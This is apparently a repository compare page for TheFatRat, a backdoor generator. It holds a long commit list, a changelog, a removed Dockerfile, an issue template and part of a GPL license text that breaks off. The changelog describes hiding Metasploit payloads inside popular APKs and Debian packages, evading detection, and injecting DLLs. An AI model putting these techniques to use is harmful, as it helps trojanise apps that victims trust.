Compare commits
611 commits
Author | SHA1 | Date | |
---|---|---|---|
|
b0586d08f3 | ||
|
1cd9da541f | ||
|
245f066f20 | ||
|
c6e3576475 | ||
|
9ae58d406b | ||
|
61c454dbf1 | ||
|
374406b37e | ||
|
f5d2c9b55a | ||
|
74d5d8b72e | ||
|
c99711519a | ||
|
2c0ecf1343 | ||
|
8bbc32e556 | ||
|
36e946f102 | ||
|
176cf4e4f2 | ||
|
442b5fe6a5 | ||
|
36428006d3 | ||
|
abbf6a806e | ||
|
5a6afc8d62 | ||
|
2823f045fe | ||
|
c44795ffc2 | ||
|
976be48811 | ||
|
40f5efd060 | ||
|
0477a189ea | ||
|
cb7febe71f | ||
|
480dcf66ee | ||
|
f3f8c396ea | ||
|
0e656d6714 | ||
|
a0de9aa98a | ||
|
9927123b9b | ||
|
81218aabeb | ||
|
3dc103cdd0 | ||
|
d838d86666 | ||
|
30958694c9 | ||
|
2261dc36bd | ||
|
99cc33d0db | ||
|
32e0cfaa5b | ||
|
f132bd24c1 | ||
|
83fbc7143c | ||
|
c591c3c196 | ||
|
dfde7a8f64 | ||
|
eeb8560c2c | ||
|
b23638c6bd | ||
|
b90099d52b | ||
|
3c4d758560 | ||
|
1e66b43041 | ||
|
0e53b4f760 | ||
|
b42cb99470 | ||
|
db8a15ac0b | ||
|
5eefa18476 | ||
|
dc878117c3 | ||
|
7be9c21767 | ||
|
8d474dbfc4 | ||
|
a237b15a37 | ||
|
18c0ec2df2 | ||
|
93478eb9f3 | ||
|
d2fc9b77d1 | ||
|
48fa097ef7 | ||
|
29767a9d74 | ||
|
7dcd4eb393 | ||
|
e39af34781 | ||
|
23fadfd4ba | ||
|
3943ebbfca | ||
|
7ba21a55d7 | ||
|
564604e154 | ||
|
4e19ea682a | ||
|
b0741f5a8a | ||
|
bf48c3f5a0 | ||
|
82753f4319 | ||
|
4d3d25d4ef | ||
|
c8d297ed49 | ||
|
c1cd17ae51 | ||
|
050a99420c | ||
|
5bbbcb214e | ||
|
611dc3b7c1 | ||
|
4f8049e29e | ||
|
6c6d1dcc3a | ||
|
31de940fa2 | ||
|
c3fe530067 | ||
|
12453c5b23 | ||
|
c3d4888159 | ||
|
e7e5abf0ab | ||
|
5dba02d69c | ||
|
cc48eb61ba | ||
|
1be5e0207a | ||
|
5ebff5fd14 | ||
|
e4172ffd94 | ||
|
7e5d0c56fe | ||
|
923a46123c | ||
|
a372cec39e | ||
|
42a2b09d25 | ||
|
65b39fff93 | ||
|
04a7068785 | ||
|
a81eb11592 | ||
|
b73ab47d1e | ||
|
ce2b17c3e7 | ||
|
e2a59ce5c0 | ||
|
d7348be771 | ||
|
848617fca7 | ||
|
4ddbcda60e | ||
|
fe2f5de74f | ||
|
f103f0ba2e | ||
|
7b5db0a8b5 | ||
|
251a44fb78 | ||
|
70542db69c | ||
|
9e95aca4b8 | ||
|
d7bf76d84c | ||
|
43058c093b | ||
|
69c02cacc3 | ||
|
12cbcbf5e2 | ||
|
37064d03e9 | ||
|
d582f8fd73 | ||
|
0001980ac8 | ||
|
6a1226a752 | ||
|
cabe4bdf40 | ||
|
8fcc167a4c | ||
|
72812b23d1 | ||
|
dffd2d24e2 | ||
|
af4247095f | ||
|
4c7203bf03 | ||
|
2c945936af | ||
|
b53b6e3fff | ||
|
debf42c267 | ||
|
da91909319 | ||
|
f4f7999deb | ||
|
543e3477c1 | ||
|
e1ecea693c | ||
|
77bccf5523 | ||
|
604e1cf08c | ||
|
f7c7788a23 | ||
|
a2fe318066 | ||
|
15fafaa2d8 | ||
|
6bb7959b72 | ||
|
600f6d1507 | ||
|
f1442f0382 | ||
|
2e370a3f57 | ||
|
90cd64fa8a | ||
|
05144f8b7c | ||
|
44453a1681 | ||
|
56d4614099 | ||
|
ec06ce6f0f | ||
|
cb9cd6d365 | ||
|
5cd2093516 | ||
|
afe70bebbc | ||
|
dd8df1b844 | ||
|
3cae9547eb | ||
|
9281861a40 | ||
|
86449ae9ed | ||
|
763591564d | ||
|
6add7ef110 | ||
|
75afe71791 | ||
|
96b30c458c | ||
|
2c1af56b85 | ||
|
89541920cf | ||
|
a2bc12c357 | ||
|
5cb8337ac3 | ||
|
1a0e412179 | ||
|
e34e46f935 | ||
|
dddcadfbde | ||
|
ac679bc0e5 | ||
|
327e0bcaf1 | ||
|
ee33f84129 | ||
|
6c5eb48567 | ||
|
43f2f51824 | ||
|
9f9d96ae17 | ||
|
4465c419f8 | ||
|
f76570faa8 | ||
|
1fd72e3929 | ||
|
203c48b345 | ||
|
2444b15a35 | ||
|
fe0c943910 | ||
|
88bcd8a80f | ||
|
62ca607ec3 | ||
|
11b01e2d71 | ||
|
9b3e579237 | ||
|
5507ce0a05 | ||
|
67674e553d | ||
|
8bec0fdf1b | ||
|
70aa9e0fd9 | ||
|
83a0a333b2 | ||
|
4c5924956d | ||
|
b78686c5c7 | ||
|
b575838bd8 | ||
|
326fb6fcc6 | ||
|
3abb034972 | ||
|
23159a3629 | ||
|
a261bba4f2 | ||
|
e414956378 | ||
|
e4b4205687 | ||
|
285cb4d657 | ||
|
cdc2f756b2 | ||
|
0e1b2efde6 | ||
|
c6081faca0 | ||
|
dc35980c75 | ||
|
c09e170aac | ||
|
5f2ef6bd9e | ||
|
152f556d56 | ||
|
10381c8626 | ||
|
d4395307e8 | ||
|
e010dbd3b1 | ||
|
bbf586ab2a | ||
|
d42e5b3328 | ||
|
bdb3f43372 | ||
|
359a4daf42 | ||
|
af1a08df27 | ||
|
3707adfeac | ||
|
09f1b75261 | ||
|
384f1baadd | ||
|
45ee32aec8 | ||
|
9fbf54656d | ||
|
cab9b9b7ce | ||
|
f286f4ac40 | ||
|
ab0d806899 | ||
|
1941b58dbe | ||
|
2922e3e01c | ||
|
25fb54b4b2 | ||
|
1e12336598 | ||
|
76315dbcc4 | ||
|
79ed5d6ad7 | ||
|
63c3172a48 | ||
|
6e38eab7a1 | ||
|
c2be4774d5 | ||
|
fdeef82c19 | ||
|
d077b27fcc | ||
|
4d538efac9 | ||
|
722ef56194 | ||
|
4ee36a8462 | ||
|
dc0ddae18d | ||
|
d6937f7e29 | ||
|
66456ac78e | ||
|
87254a1eda | ||
|
cc4b6adec1 | ||
|
c08938a6ff | ||
|
7d87f84b18 | ||
|
020c9e0213 | ||
|
662fd0708d | ||
|
1dcdd76610 | ||
|
f5d36b5ff0 | ||
|
ac2a60e8bc | ||
|
1de1816b25 | ||
|
44c1612e4b | ||
|
b3a85d6e28 | ||
|
8ad8f2da40 | ||
|
23e96534ab | ||
|
cd12490499 | ||
|
b19bf5d15a | ||
|
8cca3e533e | ||
|
86df4357a8 | ||
|
67d0400369 | ||
|
375f4debca | ||
|
7d2718a01b | ||
|
8555c320b1 | ||
|
4769b2b736 | ||
|
721f009c32 | ||
|
959fde49dd | ||
|
c8c3f6bc0b | ||
|
4a0faba2c9 | ||
|
cf84016839 | ||
|
4cea24ff40 | ||
|
c9300e9619 | ||
|
995c8a907d | ||
|
b534ddf5b4 | ||
|
eabebe2fc2 | ||
|
ae801942ae | ||
|
f6998c47ad | ||
|
653cd6e97f | ||
|
294520d3e3 | ||
|
7572bfaef6 | ||
|
83b63540cb | ||
|
41963955af | ||
|
b427a9010a | ||
|
efaadc9849 | ||
|
853c703b1e | ||
|
0777a38fef | ||
|
5d0449b10c | ||
|
ae1df58549 | ||
|
bc44659d68 | ||
|
277b6c3c08 | ||
|
949cd8fdf2 | ||
|
801d8b6d51 | ||
|
a51397aae6 | ||
|
6c6c6964ba | ||
|
3d17975378 | ||
|
9a4fb802e7 | ||
|
f39bd81b55 | ||
|
6b572661e3 | ||
|
53c1cfdd00 | ||
|
93897953de | ||
|
f6ca51ab77 | ||
|
34b70f74f1 | ||
|
ac8649702f | ||
|
2de2147cad | ||
|
8e204c3cf0 | ||
|
3a31127bea | ||
|
05d14170f4 | ||
|
ddda36af1b | ||
|
7cc1ad1fc0 | ||
|
68b5e940b5 | ||
|
315cd21205 | ||
|
c9f5a33bfe | ||
|
3b6badd298 | ||
|
e0d1579744 | ||
|
f6beb1b7d6 | ||
|
624d801813 | ||
|
908eefb44b | ||
|
15818be78d | ||
|
1f54ca1728 | ||
|
7e171169b3 | ||
|
33d855df37 | ||
|
3c67cde2cc | ||
|
55d081d83f | ||
|
f568a0e0a7 | ||
|
b23049fbaf | ||
|
a76b016739 | ||
|
a469689fa0 | ||
|
65ca7cce68 | ||
|
8f75d8a0d1 | ||
|
0c0e8afcd3 | ||
|
2b535d37d6 | ||
|
1dbd8bd1aa | ||
|
7c2f25cb1e | ||
|
82841bfd24 | ||
|
71b2e42e0d | ||
|
e79bc62eeb | ||
|
8cfe99aa91 | ||
|
fc648c7c3e | ||
|
9bbe831734 | ||
|
8fc0b9bf8b | ||
|
9ba9635090 | ||
|
09cabbf958 | ||
|
16134019f5 | ||
|
436271a5da | ||
|
6ba2b8c141 | ||
|
5f1b805f1c | ||
|
21842eed88 | ||
|
931f70e6e4 | ||
|
633472b8bd | ||
|
a1d356220a | ||
|
0ee46c4ef3 | ||
|
40df24f2f8 | ||
|
5eedef260a | ||
|
3f644625cc | ||
|
1060b04c84 | ||
|
100be35caf | ||
|
4eaa016330 | ||
|
bcad87e7d6 | ||
|
bd1b364bf4 | ||
|
f84b5e1762 | ||
|
7ff5438448 | ||
|
ca70a29e41 | ||
|
cc15de46e3 | ||
|
900274adca | ||
|
0cf8f76997 | ||
|
3e33db8db5 | ||
|
f9236768ad | ||
|
d8ae678859 | ||
|
14585b862b | ||
|
d61823aeda | ||
|
996c635dcf | ||
|
9b7fa0fd8a | ||
|
1534abb5e1 | ||
|
8cfb00702f | ||
|
2c362cc092 | ||
|
89925fc37f | ||
|
081ab8f3bd | ||
|
6a27a6c902 | ||
|
54ad3bac9c | ||
|
baa609e632 | ||
|
5f859251ab | ||
|
e6bd2afd12 | ||
|
8f33b1da2d | ||
|
43f1854cf1 | ||
|
63112279cc | ||
|
6cf3c77f21 | ||
|
0d5c32f902 | ||
|
f53fd8e6c1 | ||
|
df4a1e3c19 | ||
|
605d5b2e7b | ||
|
a9bf996e67 | ||
|
736f2bddbf | ||
|
7902470598 | ||
|
06370fd92a | ||
|
0d8663c612 | ||
|
35955d152c | ||
|
c0524143fa | ||
|
392bad625b | ||
|
050d1d783e | ||
|
0949bde62d | ||
|
1e9278a20c | ||
|
49401ae8c2 | ||
|
a6208a918f | ||
|
6b8f4a3f32 | ||
|
395e05737c | ||
|
7f8619c5fb | ||
|
15eeacfdd5 | ||
|
d981998882 | ||
|
7b3a43ae7a | ||
|
662cfad24f | ||
|
bb76ec78ce | ||
|
915fc0f87a | ||
|
e91da0d5ba | ||
|
a9328c8483 | ||
|
af353acf93 | ||
|
9dec058008 | ||
|
45ff7845f7 | ||
|
8041e9252f | ||
|
69f7cd36d8 | ||
|
25e0caabef | ||
|
afc49cbca7 | ||
|
a9351737d5 | ||
|
44ae3cdcd4 | ||
|
dd4affae07 | ||
|
b83f84babf | ||
|
2b944e1f55 | ||
|
24b0bd0706 | ||
|
2f7844f7fa | ||
|
a098fd7d7d | ||
|
863ff17a2f | ||
|
afe1d99255 | ||
|
0dcb859584 | ||
|
79501a2ed1 | ||
|
817f90e64a | ||
|
588c28c63f | ||
|
5d30ff1860 | ||
|
2edfcc9710 | ||
|
1901545d45 | ||
|
aae72d2748 | ||
|
808463baaa | ||
|
e29e0d0df1 | ||
|
5c008d6360 | ||
|
e31343db31 | ||
|
b535a7e45f | ||
|
3d7928004a | ||
|
2cf9fe9792 | ||
|
c12dd4394d | ||
|
32431b01b6 | ||
|
c529c5f79a | ||
|
70d414cebe | ||
|
f30dc9701d | ||
|
f20b7349be | ||
|
18a3ac09f9 | ||
|
ae12a8f413 | ||
|
23b48d21b8 | ||
|
bd230795cc | ||
|
19259ae205 | ||
|
3e50e71395 | ||
|
cdb0481406 | ||
|
f63c27f439 | ||
|
d35caf0317 | ||
|
3484689d11 | ||
|
50cbd011ba | ||
|
d27df2e7c0 | ||
|
909903652a | ||
|
6da523bd31 | ||
|
26878c619e | ||
|
342e8e2b7f | ||
|
a9e122e976 | ||
|
ba59604f5a | ||
|
3afb32859a | ||
|
6d80684228 | ||
|
55bdaf4e52 | ||
|
d272c14cdd | ||
|
dcfd60fb18 | ||
|
e2d46b108a | ||
|
28c753b0c1 | ||
|
eeb6fa1750 | ||
|
7ddbebc8e0 | ||
|
e1baee9521 | ||
|
3695f25a08 | ||
|
36a9f0be8e | ||
|
df9ca06215 | ||
|
79b5da2fd1 | ||
|
944020779b | ||
|
6d733f0c11 | ||
|
6f107650cd | ||
|
885a47c999 | ||
|
cee0c98b36 | ||
|
d077028ce0 | ||
|
020ecd498e | ||
|
65094c335a | ||
|
f81d0b719c | ||
|
535c4eb3a2 | ||
|
9d0506c081 | ||
|
114921d3d4 | ||
|
4cecc531bd | ||
|
960d695c28 | ||
|
ad4ecfa5ef | ||
|
642c72d7f4 | ||
|
400ca3dc57 | ||
|
f1c265f6a6 | ||
|
c95e110ea7 | ||
|
5e7deeabdf | ||
|
6b8cb4dafb | ||
|
b17b17f8d0 | ||
|
4e2a20e024 | ||
|
b668335b5e | ||
|
bb9013227e | ||
|
2567a4abe8 | ||
|
792601e1d8 | ||
|
68fabd328f | ||
|
83f2b38f4e | ||
|
bb57d442fd | ||
|
b0d210950c | ||
|
a4be51e1b6 | ||
|
48c2e5c1cb | ||
|
229c080f10 | ||
|
3b16c02aaa | ||
|
831f94f0e6 | ||
|
e4606eea57 | ||
|
76a1e1de23 | ||
|
a06173902c | ||
|
5689a4f70b | ||
|
2d5a529ea1 | ||
|
35dd4e2f66 | ||
|
adcb5a2132 | ||
|
7f9064a3fb | ||
|
7d92359a0a | ||
|
ecb55948b3 | ||
|
90a81886b5 | ||
|
04af18dc8d | ||
|
c7712b72c9 | ||
|
6c14c5cd1f | ||
|
6a3529b6d3 | ||
|
14f173afdb | ||
|
f8a426f81c | ||
|
0127144db0 | ||
|
404fcf802b | ||
|
add35fe499 | ||
|
4370f7f217 | ||
|
45522ba6ab | ||
|
d1af06c9bc | ||
|
49dc29580c | ||
|
8aadb8386a | ||
|
3a8cc6090d | ||
|
8e911fd29f | ||
|
da2a620630 | ||
|
3fe17b41ee | ||
|
2f7d2950b9 | ||
|
01fb91b12a | ||
|
78124d5c1c | ||
|
90b812aeb5 | ||
|
9b4c3d9e65 | ||
|
c945652f49 | ||
|
f481aec33b | ||
|
c5594a753b | ||
|
3b431c271d | ||
|
d2e43976d7 | ||
|
a910d94ec9 | ||
|
09115791eb | ||
|
6511a4cf88 | ||
|
b94720a254 | ||
|
d3dbc019b6 | ||
|
cfd8335a79 | ||
|
663ba32199 | ||
|
05e9502b7c | ||
|
17ac4fd556 | ||
|
c87c8e18ae | ||
|
cbfa33a89e | ||
|
20b3e71587 | ||
|
c68a9b0882 | ||
|
c779ab7e2c | ||
|
12217156fb | ||
|
1c875bbdd8 | ||
|
6e63310e6d | ||
|
247ca0fa8e | ||
|
9372dba2a5 | ||
|
c58b192942 | ||
|
3d6fbbc8f5 | ||
|
1810e1e4c4 | ||
|
dac572a51e | ||
|
ce5d966642 | ||
|
f132ae707b | ||
|
b6442b0480 | ||
|
2a1b89b4b2 | ||
|
e1a76e1074 | ||
|
291bdb8412 | ||
|
5e2e23120b | ||
|
672a150583 | ||
|
22afcc775b | ||
|
5d9400ca74 | ||
|
c0df204e0e | ||
|
c7ced486f3 | ||
|
0fd78b0623 | ||
|
57966eb9fd | ||
|
e011bee5fb | ||
|
b42c16400f | ||
|
2c965dec27 | ||
|
365baad1af | ||
|
bdfcad16a2 | ||
|
6a93f70008 | ||
|
6fd7ca773d | ||
|
3278bcd61d | ||
|
af9d6c18a2 | ||
|
1133362a7b | ||
|
32f98c7f78 | ||
|
1d18414465 | ||
|
2eb5d7adbe | ||
|
1f90de5b7a | ||
|
433d55065a | ||
|
7531878410 | ||
|
cefc159247 | ||
|
57472b67cd | ||
|
a09ed923d1 | ||
|
089d4da70c | ||
|
7bb54a14a2 | ||
|
05e956d632 | ||
|
0f67a9c064 | ||
|
9942f25ec8 | ||
|
4ff99e1a65 | ||
|
4a1dd1f91b | ||
|
89f6d9cdb9 | ||
|
0fcde244a4 |
4
.github/FUNDING.yml
vendored
Normal file
|
@ -0,0 +1,4 @@
|
|||
# repo: screetsec/TheFatRat
|
||||
# filename: FUNDING.YML
|
||||
|
||||
custom: ["https://paypal.me/screetsec"]
|
BIN
APKS/armeabi-v7a/AdobeReader.apk
Normal file
1
APKS/armeabi-v7a/Readme.md
Normal file
|
@ -0,0 +1 @@
|
|||
Tested apk file
|
BIN
APKS/armeabi-v7a/Whatsapp.apk
Normal file
BIN
APKS/x86/BaiduBrowser.apk
Normal file
1
APKS/x86/Readme.md
Normal file
|
@ -0,0 +1 @@
|
|||
Tested apk file
|
55
CHANGELOG.md
|
@ -1,5 +1,60 @@
|
|||
## CHANGELOG
|
||||
* v1.9.8 - Upgraded android sdk tools to 30.0.1 & apktool to 2.6.0
|
||||
* v1.9.7 - Fixes in Setup , now it detects if incorrect version of mingw is installed and also updates automatically public keys for jessie repository before installing correct version of mingw for fudwin
|
||||
* v1.9.7 - Bugs and more bugs solved in setup and chk_tools , implemented python3 in install and pip3 for original powerstager and solved theissues during a clean install in kali of fatrat the problems related to mingw issues from jessie repo from debian
|
||||
* v1.9.7 - Implemented capability to test apk before going further with payload
|
||||
* v1.9.7 - Added MsfVenom capability to embbed directly a payload into an apk , added option on ap backdoor menu
|
||||
* v1.9.7 - Implemented otion in setup to allow user to select output directory of fatrat generated files
|
||||
* v1.9.7 - Added tested apks that work with backdoor-apk
|
||||
* v1.9.7 - Added chk_tools script to verify tools and libraries versions to run fatrat , Script will also provide solutions
|
||||
* v1.9.7 - Upgraded Apktool to 2.4.1 version
|
||||
* v1.9.7 - Output folder for all generated files in fatrat will now be in $Home/Fatrat_Generated
|
||||
* V1.9.7 - Removed dex2jar , proguard , not needed anymore for new backdoor_apk , updated backdoor_apk to 0.2.4a and all tools
|
||||
* v1.9.7 - APKtool updated to 2.4.0
|
||||
* v1.9.7 - Version control added to file instead in source code , fixed all pwnwinds backdoor payload options
|
||||
* v1.9.6 - fixes in pwnwinds and in setup
|
||||
* v1.9.6 - new features added Trodebi ( Trojan debian package - embed in debian package )
|
||||
* v1.9.6 - updated pwnwinds & add Create Backdoor with C to dll ( custom dll inject )
|
||||
* v1.9.6 - removed monodevelop in depend ( people have option to instal it , install manual )
|
||||
* v1.9.5 - 64bit exe option added in powerfull.sh
|
||||
* v1.9.5 - Fixes in backdoor-factory option
|
||||
* v1.9.5 - Obfuscation method implemented in powerstager & ability to choose icon for rat EXE in powerstager
|
||||
* v1.9.5 - Desktop shortcut implemeted in setup
|
||||
* v1.9.5 - Update Android Build Tools -> R26 & Android Platform -> 26-R01
|
||||
* v1.9.5 - Update powerstager to 0.2.5
|
||||
* v1.9.5 - Code missing in fudwin (fixed)
|
||||
* v1.9.5 - added dll injection attack
|
||||
* v1.9.5 - update function () creator script into ver 1.3
|
||||
* v1.9.4 - Fix in microsploit option 5 , grab script created to get msfconsole generated payload while running
|
||||
* v1.9.4 - Fatrat will be full terminal mode , Powerstage tool added , Setup script rebuilded
|
||||
* v1.9.3 - Added update script
|
||||
* v1.9.3 - Dex2Jar will be installed from now on from Fatrat setup manually on user system (reason: Kali repo still uses old version)
|
||||
* v1.9.3 - Updated Android build tools to V.26 RC1 & Android Platform V. 25-R03
|
||||
* v1.9.3 - Updated dana travis backdoor-apk to 0.2.2 into fatrat / added openssl in setup
|
||||
* v1.9.2 - Msfvenom Android rat will be signed with android certificate , so it can be installed properly
|
||||
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator
|
||||
* v1.9.2 - Fixed payload in pnwinds option2
|
||||
* v1.9.2 - Implemented Stop functions in pnwinds
|
||||
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
|
||||
* v1.9.2 - Implemented possibility for user to save msfconsole listeners
|
||||
* v1.9.2 - Fixes in Microsploit
|
||||
* v1.9.2 - Implemented local ip , public ip & hostname display to powerfull.sh
|
||||
* v1.9.2 - Implemented local ip , public ip & hostname display before user set Lhost
|
||||
* v1.9.2 - Implemented log creation for microsploit & fixed bugs
|
||||
* v1.9.2 - Added effective way to detect user linux distribution
|
||||
* v1.9.2 - Setup.sh ( patched )
|
||||
* v1.9.2 - bug in microsploit ( patched )
|
||||
* v1.9.2 - delt some function and variable
|
||||
* v1.9.1 - v1.9.1 - Implemented Microsploit (Office Exploitation Tool)
|
||||
* v1.9b - Implemented Backdoor-apk from Dana James Traversie in this version .{ Less tools to install during setup.sh }
|
||||
* v1.9.0 - update script setup.sh
|
||||
* v1.9.0 - del some variable and function
|
||||
* v1.9.0 - fixed typo and bugs
|
||||
* v1.9.0 - Backdoor APKS have a new payload hiding method in rat apk to not be detected .
|
||||
* v1.9.0 - APK (5) rat rebuild totally changed .(adapted backdoor-apk script to fatrat to both work together)
|
||||
* v1.9.0 - Apktool will not be installed no more by setup.sh , the same thing applies to : dx , zipalign (apktool on debian repo is 2.2.1 , and that version have a bug that gives error on compiling the apks , so , apktool and android tools were updated to latest version 25.0.2 and embeded in (tools) directory of fatrat .
|
||||
|
||||
* v1.8.5 - fixed some bugs and double function in setup.sh
|
||||
* v1.8.1 - added possibility to configure metasploit , backdoor-factory & searchsploit with manual inputs
|
||||
|
||||
* - added more packages instalations needed for non-pentest distribution & some bugs fixed
|
||||
|
|
40
Dockerfile
|
@ -1,40 +0,0 @@
|
|||
FROM kalilinux/kali-linux-docker:latest
|
||||
|
||||
RUN echo 'deb http://old.kali.org/kali sana main non-free contrib' >> /etc/apt/sources.list \
|
||||
&& echo 'deb-src http://old.kali.org/kali sana main non-free contrib' >> /etc/apt/sources.list \
|
||||
&& echo 'deb http://http.kali.org/kali kali-rolling main contrib non-free' >> /etc/apt/sources.list \
|
||||
&& echo 'deb-src http://http.kali.org/kali kali-rolling main contrib non-free' >> /etc/apt/sources.list \
|
||||
&& apt-get update
|
||||
|
||||
RUN echo 'APT::Get::Install-Recommends "false";' >> /etc/apt/apt.conf \
|
||||
&& echo 'APT::Get::Install-Suggests "false";' >> /etc/apt/apt.conf
|
||||
|
||||
RUN apt-get install -y \
|
||||
metasploit-framework \
|
||||
zenity \
|
||||
gcc \
|
||||
mingw32 \
|
||||
backdoor-factory \
|
||||
monodevelop \
|
||||
ruby \
|
||||
apache2 \
|
||||
upx-ucl \
|
||||
xterm \
|
||||
gnome-terminal \
|
||||
default-jre \
|
||||
default-jdk \
|
||||
unzip \
|
||||
aapt \
|
||||
apktool \
|
||||
dex2jar \
|
||||
zlib1g-dev \
|
||||
libmagickwand-dev \
|
||||
imagemagick \
|
||||
zipalign
|
||||
|
||||
WORKDIR /root/TheFatRat
|
||||
ADD . ./
|
||||
|
||||
RUN chmod +x ./fatrat
|
||||
|
||||
CMD ["./fatrat"]
|
41
ISSUES.md
Normal file
|
@ -0,0 +1,41 @@
|
|||
|
||||
# Issue
|
||||
- When creating a new issue in fatrat github , upload the files according to your issue :
|
||||
|
||||
|
||||
## Detail System Operation
|
||||
- uname -a
|
||||
- whoami
|
||||
|
||||
|
||||
## What Version Do you Use ?
|
||||
- TheFatRat - Version
|
||||
- Metasploit - Version
|
||||
|
||||
## Packages installation (using setup.sh)
|
||||
- TheFatRat creates a log file during the setup that is stored in TheFatRat/logs/apt.log
|
||||
if your issue is related to setup then make sure you upload to your issue in github this file and
|
||||
install.log also in same directory .
|
||||
|
||||
## Using fatrat
|
||||
### Microsploit
|
||||
TheFatRat creates a log file during the execution of microsploit in TheFatRat/logs/msploit.log
|
||||
if your issue is related to microsploit then make sure you upload this file to your issue in github .
|
||||
|
||||
### Using Fudwin (powerstager) in fatrat
|
||||
- TheFatRat creates a log file during the execution of powerstager in TheFatRat/logs/fudwin.log
|
||||
if your issue is related to powerstager then make sure you upload this file to your issue in github .
|
||||
|
||||
### Using backdoor_apk (creating android files)
|
||||
- TheFatRatcreates a log file during the execution of backdoor apk in TheFatRat/logs/apk.log
|
||||
if your issue is related to backdoor apk then make sure you upload this file to your issue in github .
|
||||
|
||||
# Upload screenshots
|
||||
- To upload your log file to your issue click bellow your new created issue text field , like it can be show in the next image :
|
||||
nissue
|
||||
|
||||
<img src="https://user-images.githubusercontent.com/7487321/28249733-719e7fa8-6a29-11e7-9f75-1189f9a18dc9.png" ></img>
|
||||
|
||||
# Read
|
||||
- If any issue is created in TheFatRat github related to one of the tools before and if you do not upload what we ask "respective tool log file in fatrat/logs directory (so we can detect the problem more faster) , then we will close automatically your issue without any reply in it .
|
||||
|
687
LICENSE
|
@ -1,21 +1,674 @@
|
|||
The MIT License (MIT)
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (c) 2016 Edo -maland-
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
Preamble
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
